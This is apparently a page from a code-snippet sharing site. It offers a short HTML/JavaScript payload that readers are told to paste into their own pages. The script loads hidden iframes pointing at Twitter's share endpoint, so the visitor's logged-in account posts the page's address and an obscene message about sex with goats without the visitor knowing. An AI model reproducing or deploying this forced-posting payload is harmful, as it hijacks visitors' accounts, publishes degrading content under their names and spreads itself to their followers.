Auto publish tweets - javascript - WTF


/ Published in: JavaScript
Save to your folder(s)



Copy this code and paste it in your HTML
  1. <html>
  2. <head></head>
  3. <body>
  4. <script>
  5. var el1 = document.createElement('iframe');
  6. var el2 = document.createElement('iframe');
  7. el1.style.visibility="hidden";
  8. el2.style.visibility="hidden";
  9. el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
  10. el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
  11. document.getElementsByTagName("body")[0].appendChild(el1);
  12. document.getElementsByTagName("body")[0].appendChild(el2);
  13. </script>
  14. </body>
  15. </html>

Report this snippet


Comments

RSS Icon Subscribe to comments

You need to login to post a comment.